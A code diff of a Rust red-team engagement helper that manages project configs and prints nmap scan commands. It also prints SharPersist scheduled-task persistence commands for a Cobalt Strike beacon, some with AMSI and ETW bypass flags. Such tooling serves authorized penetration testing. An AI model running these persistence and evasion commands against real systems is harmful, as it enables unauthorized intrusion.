let mut services_file = services_file_open_res.unwrap();
|
||||
let enumeration_open_res = open_append(&enumeration_notes_path);
|
||||
if enumeration_open_res.is_none(){
|
||||
println!("error opening enumeration notes file!");
|
||||
println!("scan data will not be saved to enumeration notes!");
|
||||
print_error("error opening enumeration notes file!", "".to_owned());
|
||||
}
|
||||
let services_write_res = write!(services_file, "host\tport\tbanner\tnotes\n");
|
||||
if services_write_res.is_err(){
|
||||
@@ -707,10 +720,10 @@ pub fn run_nmap_portscan(project: &Project) -> Option<JoinHandle<()>>{
|
||||
let mut host_all_ports: HashMap<String, Vec<String>> = HashMap::new();
|
||||
for host in &host_ports{
|
||||
write!(services_file, "{}\n", host).unwrap();
|
||||
let host_data: Vec<&str> = host.split_whitespace().collect();
|
||||
let host_data: Vec<&str> = host.split("\t").collect();
|
||||
let address = host_data[0].to_owned();
|
||||
let port = host_data[1].to_owned();
|
||||
let service = host_data[2..].join(" ");
|
||||
let service = host_data[2].to_owned();
|
||||
if host_all_ports.contains_key(&address){
|
||||
host_all_ports.get_mut(&address).unwrap().push(format!("{}:{}", port, service));
|
||||
}
|
||||
@@ -726,17 +739,16 @@ pub fn run_nmap_portscan(project: &Project) -> Option<JoinHandle<()>>{
|
||||
for host in host_all_ports.keys(){
|
||||
write!(enumeration_file, "## {}\n| HOST | PORT | SERVICE |\n| ---- | ---- | ------- |\n", host).unwrap();
|
||||
for port_entry in &host_all_ports[host]{
|
||||
println!("{}", port_entry);
|
||||
let parts: Vec<&str> = port_entry.split(":").collect();
|
||||
let port = parts[0];
|
||||
let services = parts[1];
|
||||
write!(enumeration_file, "| {} | {} |\n", port, services).unwrap();
|
||||
write!(enumeration_file, "| {} | {} | {} |\n", host, port, services).unwrap();
|
||||
}
|
||||
}
|
||||
write!(enumeration_file, "---\n").unwrap();
|
||||
write!(enumeration_file, "\n---\n").unwrap();
|
||||
}
|
||||
}
|
||||
println!("FROM NMAP THREAD: Parsing done! You're scan results are saved in cobalt strike services.tsv format at {}", save_path.display());
|
||||
print_success(format!("FROM NMAP THREAD: Parsing done! You're scan results are saved in cobalt strike services.tsv format at {}", save_path.display()));
|
||||
});
|
||||
sleep(Duration::from_secs(10));
|
||||
return Some(nmap_thread);
|
||||
@@ -823,9 +835,9 @@ pub fn build_nmap_command(project: &Project){
|
||||
let targets_string = targets.join(" ");
|
||||
println!("\nYour portscan command is:");
|
||||
if get_user_input("will you be using proxychains for this scan?").to_lowercase().contains("y"){
|
||||
println!("\n\nproxychains nmap -sT -p {} {} -Pn | tee {}", ports_string, targets_string, save_path.display());
|
||||
print_success(format!("\n\nproxychains nmap -sT -p {} {} -Pn | tee {}", ports_string, targets_string, save_path.display()));
|
||||
}
|
||||
else{
|
||||
println!("nmap -p {} {} -Pn | tee {}", ports_string, targets_string, save_path.display());
|
||||
print_success(format!("nmap -p {} {} -Pn | tee {}", ports_string, targets_string, save_path.display()));
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,6 @@
|
||||
use std::env;
|
||||
use std::fs;
|
||||
use std::fs::read_to_string;
|
||||
use std::io::stdin;
|
||||
use std::io::Write;
|
||||
use std::path::PathBuf;
|
||||
@@ -10,9 +11,15 @@ use std::time::Duration;
|
||||
use std::str::FromStr;
|
||||
use colored::Colorize;
|
||||
|
||||
use crate::configuration;
|
||||
use crate::get_user_input;
|
||||
use crate::open_overwrite;
|
||||
use crate::print_informational;
|
||||
use crate::tableize;
|
||||
use crate::Project;
|
||||
use crate::box_controls::make_box;
|
||||
use crate::print_success;
|
||||
use crate::print_error;
|
||||
|
||||
pub fn
|
||||
switch_project(projects: &mut Vec<Project>){
|
||||
@@ -29,19 +36,19 @@ switch_project(projects: &mut Vec<Project>){
|
||||
for project in projects{
|
||||
if project.id == new_id{
|
||||
project.active = true;
|
||||
println!("project found switching to {} {}", project.customer, project.project_name);
|
||||
print_success(format!("project found switching to {} {}", project.customer, project.project_name));
|
||||
env::set_var("CURRENT_PROJECT_BOX", project.boxname.clone());
|
||||
}
|
||||
else if project.id != new_id{
|
||||
project.active = false;
|
||||
}
|
||||
else{
|
||||
println!("error unknown project id");
|
||||
print_error("error selecting new project", String::from("unknown project id selected."));
|
||||
}
|
||||
}
|
||||
}
|
||||
else{
|
||||
println!("error we need user input here dummy!");
|
||||
print_error("error selecting new project", String::from("we need input here dummy!"));
|
||||
}
|
||||
|
||||
}
|
||||
@@ -51,8 +58,14 @@ pub fn save_projects(projects: &Vec<Project>, config_path: &PathBuf){
|
||||
let mut active_set = false;
|
||||
save_file_path.pop();
|
||||
save_file_path.push("projects.conf");
|
||||
let mut save_file = fs::File::create(save_file_path).expect("error creating save_file");
|
||||
save_file.write_all(b"customer:name:notes:files:active:time:box_name:stage\n").expect("error writing first line to file");
|
||||
let save_file_res = fs::File::create(save_file_path);
|
||||
if save_file_res.is_err(){
|
||||
let error = save_file_res.err().unwrap().to_string();
|
||||
print_error("error creating save file.", error);
|
||||
return;
|
||||
}
|
||||
let mut save_file = save_file_res.unwrap();
|
||||
save_file.write_all(b"Current Loaded Projects Config File\n").expect("error writing first line to file");
|
||||
for project in projects{
|
||||
let default = format!{"{}:{}:{}:{}:", project.customer, project.project_name, project.notes_folder.display(), project.files_folder.display()};
|
||||
let mut _outline = String::new();
|
||||
@@ -66,7 +79,13 @@ pub fn save_projects(projects: &Vec<Project>, config_path: &PathBuf){
|
||||
else{
|
||||
_outline = format!("{}no:{}:{}\n", default, project.boxname, project.stage);
|
||||
}
|
||||
save_file.write_all(_outline.as_bytes()).expect("error writing outline");
|
||||
let write_res = save_file.write_all(_outline.as_bytes());
|
||||
if write_res.is_err(){
|
||||
let error = write_res.err().unwrap().to_string();
|
||||
print_error("error saving projects.conf file!", error);
|
||||
return;
|
||||
}
|
||||
write_res.unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -319,37 +338,40 @@ pub fn get_projects(config_path: &PathBuf, show: bool) -> Option<Vec<Project>>{
|
||||
let mut first = 0;
|
||||
let mut already_active = false;
|
||||
for line in project_lines{
|
||||
//println!("{}", line);
|
||||
first = first + 1;
|
||||
if first != 1{
|
||||
if line.len() > 1{
|
||||
let settings: Vec<&str> = line.split(":").collect();
|
||||
//debug config file...
|
||||
/*let mut count = 0;
|
||||
for settin in &settings{
|
||||
println!("{}: {}", count, settin);
|
||||
count = count + 1;
|
||||
}*/
|
||||
let customer = settings[0].to_owned();
|
||||
let project = settings[1].to_owned();
|
||||
let notes_string = settings[2].to_owned();
|
||||
let folder_string = settings[3].to_owned();
|
||||
let notes_folder = PathBuf::from_str(¬es_string.trim_end()).expect("error reading notes string");
|
||||
let project_folder = PathBuf::from_str(&folder_string.trim_end()).expect("error reading folding sering");
|
||||
let mut active = false;
|
||||
let boxname = settings[5].to_owned();
|
||||
if settings[4] == "yes"{
|
||||
if already_active == false{
|
||||
env::set_var("CURRENT_PROJECT_BOX", boxname.clone());
|
||||
already_active = true;
|
||||
active = true;
|
||||
if settings.len() > 5{
|
||||
// debug config file...
|
||||
/*let mut count = 0;
|
||||
for settin in &settings{
|
||||
println!("{}: {}", count, settin);
|
||||
count = count + 1;
|
||||
}*/
|
||||
let customer = settings[0].to_owned();
|
||||
let project = settings[1].to_owned();
|
||||
let notes_string = settings[2].to_owned();
|
||||
let folder_string = settings[3].to_owned();
|
||||
let notes_folder = PathBuf::from_str(¬es_string.trim_end()).expect("error reading notes string");
|
||||
let project_folder = PathBuf::from_str(&folder_string.trim_end()).expect("error reading folding sering");
|
||||
let mut active = false;
|
||||
let boxname = settings[5].to_owned();
|
||||
if settings[4] == "yes"{
|
||||
if already_active == false{
|
||||
env::set_var("CURRENT_PROJECT_BOX", boxname.clone());
|
||||
already_active = true;
|
||||
active = true;
|
||||
}
|
||||
}
|
||||
let project_stage = settings[6].to_owned();
|
||||
let new_project = Project{customer: customer, project_name: project, files_folder: project_folder, notes_folder: notes_folder, active: active, id: first, boxname: boxname, stage: project_stage};
|
||||
if show{
|
||||
println!("{} {} {}", &new_project.customer, &new_project.project_name, "LOADED!".green());
|
||||
}
|
||||
projects.push(new_project);
|
||||
}
|
||||
let project_stage = settings[6].to_owned();
|
||||
let new_project = Project{customer: customer, project_name: project, files_folder: project_folder, notes_folder: notes_folder, active: active, id: first, boxname: boxname, stage: project_stage};
|
||||
if show{
|
||||
println!("{} {} {}", &new_project.customer, &new_project.project_name, "LOADED!".green());
|
||||
}
|
||||
projects.push(new_project);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -357,11 +379,14 @@ pub fn get_projects(config_path: &PathBuf, show: bool) -> Option<Vec<Project>>{
|
||||
}
|
||||
|
||||
pub fn print_upcoming_projects(projects: &Vec<Project>){
|
||||
let mut lines = vec![String::from("CUSTOMER||PROJECT")];
|
||||
for project in projects{
|
||||
if project.stage.contains("upcoming"){
|
||||
println!("{}:{}", project.customer, project.project_name);
|
||||
let new_line = format!("{}||{}", project.customer, project.project_name);
|
||||
lines.push(new_line);
|
||||
}
|
||||
}
|
||||
tableize(lines);
|
||||
}
|
||||
|
||||
pub fn promote_project(projects: &mut Vec<Project>, config_path: &PathBuf, project_dir: &PathBuf, notes_dir: &PathBuf, tools_dir: &PathBuf, boxtemplate: &String, fingerprint: bool){
|
||||
@@ -418,7 +443,7 @@ pub fn promote_project(projects: &mut Vec<Project>, config_path: &PathBuf, proje
|
||||
println!("failed to copy the project folder, try to move it manually!");
|
||||
}
|
||||
if note_move_success.success(){
|
||||
println!("we copied the notes folder correctly!!");
|
||||
print_success("we copied the notes folder correctly!!");
|
||||
let mut remove_folder = PathBuf::new();
|
||||
remove_folder.push(&project.files_folder);
|
||||
remove_folder.pop();
|
||||
@@ -465,11 +490,277 @@ pub fn promote_project(projects: &mut Vec<Project>, config_path: &PathBuf, proje
|
||||
projects.clear();
|
||||
projects.append(&mut projects_to_save);
|
||||
save_projects(&projects_to_save, config_path);
|
||||
print_success("project promoted successfully!");
|
||||
}
|
||||
|
||||
pub fn list_projects(projects: &Vec<Project>){
|
||||
println!("+++++++++++++++++++++");
|
||||
let mut lines = vec!["customer||project||stage".to_owned()];
|
||||
for project in projects{
|
||||
println!("++Customer: {}|Project name: {}|Stage: {}++",project.customer ,project.project_name, project.stage)}
|
||||
println!("++++++++++++++++++++")
|
||||
let new_line = format!("{}||{}||{}", project.customer, project.project_name, project.stage);
|
||||
lines.push(new_line);
|
||||
}
|
||||
tableize(lines);
|
||||
}
|
||||
|
||||
|
||||
pub fn separate_personal_work_projects(config_path: &PathBuf){
|
||||
let config = config_path.clone();
|
||||
let mut config_personal = config_path.clone();
|
||||
config_personal.pop();
|
||||
config_personal.push("conf.personal");
|
||||
let mut config_work = config_path.clone();
|
||||
config_work.pop();
|
||||
config_work.push("conf.working");
|
||||
let mut projects_conf_path = config_path.clone();
|
||||
projects_conf_path.pop();
|
||||
projects_conf_path.push("projects.conf");
|
||||
let mut working_conf_path = config_path.clone();
|
||||
working_conf_path.pop();
|
||||
working_conf_path.push("projects.work");
|
||||
let mut personal_conf_path = config_path.clone();
|
||||
personal_conf_path.pop();
|
||||
personal_conf_path.push("projects.personal");
|
||||
let project_read_res = read_to_string(&projects_conf_path);
|
||||
if project_read_res.is_err(){
|
||||
print_error("error reading current projects config file!", project_read_res.err().unwrap().to_string());
|
||||
return;
|
||||
}
|
||||
let project_string = project_read_res.unwrap();
|
||||
let project_lines: Vec<&str> = project_string.split("\n").collect();
|
||||
let mut personal_projects = Vec::new();
|
||||
let mut work_projects = Vec::new();
|
||||
let mut default = String::new();
|
||||
print_success("current projects loaded!");
|
||||
print_informational("we'll now go through project by project, answer yes or no to the following questions...");
|
||||
for line in project_lines{
|
||||
if line.contains("default"){
|
||||
default = line.trim_end().to_owned();
|
||||
}
|
||||
else{
|
||||
let words: Vec<&str> = line.split(":").collect();
|
||||
if words.len() > 3{
|
||||
println!("{} {}", words[0], words[1]);
|
||||
if get_user_input("should this project be added to your personal projects config files?").to_lowercase().contains("y"){
|
||||
personal_projects.push(line.to_owned());
|
||||
print_success(format!("{}:{} {}",words[0], words[1], "successfully added to personal config!"));
|
||||
if get_user_input("Do you also want to keep it in your work projects config?").to_lowercase().contains("y"){
|
||||
work_projects.push(line.to_owned());
|
||||
}
|
||||
}
|
||||
else{
|
||||
work_projects.push(line.to_owned());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
let work_config_open_res = fs::OpenOptions::new().create(true).write(true).open(working_conf_path);
|
||||
if work_config_open_res.is_err(){
|
||||
print_error("error opening work projects config file!", work_config_open_res.err().unwrap().to_string());
|
||||
return;
|
||||
}
|
||||
let person_config_open_res = fs::OpenOptions::new().create(true).write(true).open(personal_conf_path);
|
||||
if person_config_open_res.is_err(){
|
||||
print_error("error opening personal projects config file!", person_config_open_res.err().unwrap().to_string());
|
||||
return;
|
||||
}
|
||||
let mut work_config_file = work_config_open_res.unwrap();
|
||||
let mut personal_config_file = person_config_open_res.unwrap();
|
||||
let work_write_success = write!(work_config_file, "Work Config File\n");
|
||||
let personal_write_success = write!(personal_config_file, "Personal Config File\n");
|
||||
if work_write_success.is_err(){
|
||||
print_error("error writing to work config file!", work_write_success.err().unwrap().to_string());
|
||||
return;
|
||||
}
|
||||
else{
|
||||
work_write_success.unwrap();
|
||||
}
|
||||
if personal_write_success.is_err(){
|
||||
print_error("error writing personal config file!", personal_write_success.err().unwrap().to_string());
|
||||
return;
|
||||
}
|
||||
else{
|
||||
personal_write_success.unwrap();
|
||||
}
|
||||
write!(personal_config_file, "{}\n", default).unwrap();
|
||||
write!(work_config_file, "{}\n", default).unwrap();
|
||||
for project in work_projects{
|
||||
write!(work_config_file, "{}\n", project).unwrap();
|
||||
}
|
||||
for project in personal_projects{
|
||||
write!(personal_config_file, "{}\n", project).unwrap();
|
||||
}
|
||||
print_success("projects separated successfully!");
|
||||
print_informational("now we'll separate the configuration files.");
|
||||
let current_config_type = get_user_input("is the current settings loaded for work? (not personal)");
|
||||
if current_config_type.to_lowercase().contains("y"){
|
||||
let copy_res = fs::copy(&config, &config_work);
|
||||
if copy_res.is_err(){
|
||||
print_error("error copying config file to config.work!", copy_res.unwrap().to_string());
|
||||
let copy_cmd = format!("cp {} {}", &config.display(), &config_work.display());
|
||||
print_informational(copy_cmd);
|
||||
}
|
||||
else{
|
||||
copy_res.unwrap();
|
||||
print_success("conf.work successfully created!");
|
||||
}
|
||||
print_informational("Next we will create a new config file for work.\nIt will be save as conf.personal");
|
||||
print_informational("\nplease select create from scratch at the next prompt, and fill out the information for your personal settings");
|
||||
}
|
||||
else{
|
||||
let copy_res = fs::copy(&config, &config_personal);
|
||||
if copy_res.is_err(){
|
||||
print_error("error copying config file to config.personal!", copy_res.unwrap().to_string());
|
||||
let copy_cmd = format!("cp {} {}", &config.display(), &config_personal.display());
|
||||
print_informational(copy_cmd);
|
||||
}
|
||||
else{
|
||||
copy_res.unwrap();
|
||||
print_success("conf.personal successfully created!");
|
||||
}
|
||||
print_informational("Next we will create a new config file for work.\nIt will be save as conf.working");
|
||||
print_informational("\nplease select create from scratch at the next prompt, and fill out the information for your work settings");
|
||||
}
|
||||
configuration::generate_tool_config(&config);
|
||||
print_informational("great! now we're going to copy that to the specified new config file!");
|
||||
if current_config_type.to_lowercase().contains("y"){
|
||||
let copy_res = fs::copy(&config, &config_personal);
|
||||
if copy_res.is_err(){
|
||||
print_error("error copying to conf.personal!", copy_res.err().unwrap().to_string());
|
||||
let copy_cmd = format!("plase run the following command in your
|
||||
\ncp {} {}", &config.display(), &config_personal.display());
|
||||
print_informational(copy_cmd);
|
||||
}
|
||||
else{
|
||||
copy_res.unwrap();
|
||||
print_success("conf.personal successfully created!");
|
||||
let remove_res = fs::remove_file(&config);
|
||||
if remove_res.is_err(){
|
||||
print_error("error restroing original config file!", remove_res.err().unwrap().to_string());
|
||||
}
|
||||
else{
|
||||
remove_res.unwrap();
|
||||
let copy_res = fs::copy(&config_work, &config);
|
||||
if copy_res.is_err(){
|
||||
print_error("error restoring original config file!", copy_res.err().unwrap().to_string());
|
||||
}
|
||||
else{
|
||||
copy_res.unwrap();
|
||||
print_success("original configuration successfully restored!");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else{
|
||||
let copy_res = fs::copy(&config, &config_work);
|
||||
if copy_res.is_err(){
|
||||
print_error("error copying to conf.work!", copy_res.err().unwrap().to_string());
|
||||
let copy_cmd = format!("plase run the following command in your terminal\ncp {} {}", &config.display(), &config_work.display());
|
||||
print_informational(copy_cmd);
|
||||
}
|
||||
else{
|
||||
copy_res.unwrap();
|
||||
print_success("conf.personal successfully created!");
|
||||
let remove_res = fs::remove_file(&config);
|
||||
if remove_res.is_err(){
|
||||
print_error("error restoring original config!", remove_res.err().unwrap().to_string());
|
||||
}
|
||||
else{
|
||||
remove_res.unwrap();
|
||||
let copy_res = fs::copy(&config_personal, &config);
|
||||
if copy_res.is_err(){
|
||||
print_error("error resoring original config!", copy_res.err().unwrap().to_string());
|
||||
}
|
||||
else{
|
||||
copy_res.unwrap();
|
||||
print_success("original configuration successfully restored!");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn swith_to_personal(config: &PathBuf) -> Option<Vec<Project>>{
|
||||
let mut personal_config_path = config.clone();
|
||||
personal_config_path.pop();
|
||||
personal_config_path.push("conf.personal");
|
||||
let mut projects_path = config.clone();
|
||||
projects_path.pop();
|
||||
let mut personal_projects = config.clone();
|
||||
personal_projects.pop();
|
||||
projects_path.push("projects.conf");
|
||||
personal_projects.push("projects.personal");
|
||||
let personal_projects_read_res = read_to_string(&personal_projects);
|
||||
if personal_projects_read_res.is_err(){
|
||||
print_error("error reading personal projects!", personal_projects_read_res.err().unwrap().to_string());
|
||||
return None;
|
||||
}
|
||||
let person_projects_string = personal_projects_read_res.unwrap();
|
||||
let open_res = open_overwrite(&projects_path);
|
||||
if open_res.is_none(){
|
||||
print_error("error opening projects.conf file!", "".to_string());
|
||||
return None;
|
||||
}
|
||||
let mut project_conf = open_res.unwrap();
|
||||
write!(project_conf, "{}", person_projects_string).unwrap();
|
||||
print_success("projects changed successfully!");
|
||||
let new_projects = get_projects(config, true);
|
||||
let remove_res = fs::remove_file(config);
|
||||
if remove_res.is_ok(){
|
||||
remove_res.unwrap();
|
||||
let copy_res = fs::copy(personal_config_path, config);
|
||||
if copy_res.is_ok(){
|
||||
copy_res.unwrap();
|
||||
print_success("settings successfully changed!");
|
||||
}
|
||||
else{
|
||||
print_error("error changing settings!", copy_res.err().unwrap().to_string());
|
||||
}
|
||||
}
|
||||
else{
|
||||
print_error("error removing current settings!", remove_res.err().unwrap().to_string());
|
||||
}
|
||||
return new_projects;
|
||||
}
|
||||
|
||||
pub fn swith_to_work(config: &PathBuf) -> Option<Vec<Project>>{
|
||||
let mut work_config_path = config.clone();
|
||||
work_config_path.pop();
|
||||
work_config_path.push("conf.working");
|
||||
let mut projects_path = config.clone();
|
||||
projects_path.pop();
|
||||
let mut work_projects = config.clone();
|
||||
work_projects.pop();
|
||||
projects_path.push("projects.conf");
|
||||
work_projects.push("projects.work");
|
||||
let work_projects_read_res = read_to_string(work_projects);
|
||||
if work_projects_read_res.is_err(){
|
||||
print_error("error reading personal projects!", work_projects_read_res.err().unwrap().to_string());
|
||||
return None;
|
||||
}
|
||||
let work_projects_string = work_projects_read_res.unwrap();
|
||||
let open_res = open_overwrite(&projects_path);
|
||||
if open_res.is_none(){
|
||||
print_error("", "error opening projects.conf file!".to_string());
|
||||
return None;
|
||||
}
|
||||
let mut project_conf = open_res.unwrap();
|
||||
write!(project_conf, "{}", work_projects_string).unwrap();
|
||||
print_success("projects changed successfully!");
|
||||
let new_projects = get_projects(config, true);
|
||||
let remove_res = fs::remove_file(config);
|
||||
if remove_res.is_ok(){
|
||||
remove_res.unwrap();
|
||||
let copy_res = fs::copy(work_config_path, config);
|
||||
if copy_res.is_ok(){
|
||||
copy_res.unwrap();
|
||||
print_success("settings successfully changed!");
|
||||
}
|
||||
else{
|
||||
print_error("error changing settings!", copy_res.err().unwrap().to_string());
|
||||
}
|
||||
}
|
||||
else{
|
||||
print_error("error removing current settings!", remove_res.err().unwrap().to_string());
|
||||
}
|
||||
return new_projects;
|
||||
}
|
||||
@@ -2,6 +2,7 @@ use std::{env::set_current_dir, path::PathBuf};
|
||||
use std::process::Command;
|
||||
use colored::Colorize;
|
||||
use walkdir::WalkDir;
|
||||
use crate::print_success;
|
||||
|
||||
|
||||
pub fn update_git_tools(tools_dir: &PathBuf){
|
||||
@@ -34,7 +35,7 @@ pub fn update_git_tools(tools_dir: &PathBuf){
|
||||
else{
|
||||
let git_command = git_command_res.unwrap();
|
||||
if git_command.success(){
|
||||
println!("successfully updated {}", folder.display());
|
||||
print_success(format!("successfully updated {}", folder.display()));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
use std::path::PathBuf;
|
||||
use colored::Colorize;
|
||||
use walkdir::WalkDir;
|
||||
use crate::get_user_input;
|
||||
use crate::print_success;
|
||||
|
||||
pub fn sharp_persist_command(tools_dir: &PathBuf){
|
||||
let filename = "SharPersist.exe";
|
||||
@@ -20,13 +22,13 @@ pub fn sharp_persist_command(tools_dir: &PathBuf){
|
||||
"1" => println!("execute-assembly {} -t schtask -c \"{}\" -n FRPersist -m add -o hourly", binary_path, beacon_path),
|
||||
"2" => println!("inlineExecute-Assembly --dotnetassembly {} --assemblyargs -t schtask -c \"{}\" -n FRPersist -m add -o hourly --etw --amsi", binary_path, beacon_path),
|
||||
"3" => println!("upload {}\n\nrun .\\SharPersist.exe -t schtask -c \"{}\" -n FRPersist -m add -o hourly", binary_path, beacon_path),
|
||||
_ => println!("unknown selection")
|
||||
_ => println!("{}","unknown selection".red())
|
||||
}
|
||||
return;
|
||||
}
|
||||
let file_to_run = get_user_input("path to the file you want to run for persistence?");
|
||||
println!("ok then, upload the following file to the machine");
|
||||
println!("{}", binary_path);
|
||||
println!("C:\\path\\to\\your\\sharpersist.exe -t schtask -c \"{}\" -n FRPersist -m add -o hourly", file_to_run);
|
||||
print_success("ok then, upload the following file to the machine");
|
||||
print_success(format!("{}", binary_path));
|
||||
print_success(format!("C:\\path\\to\\your\\sharpersist.exe -t schtask -c \"{}\" -n FRPersist -m add -o hourly", file_to_run));
|
||||
return;
|
||||
}
|
||||
Reference in New Issue
Block a user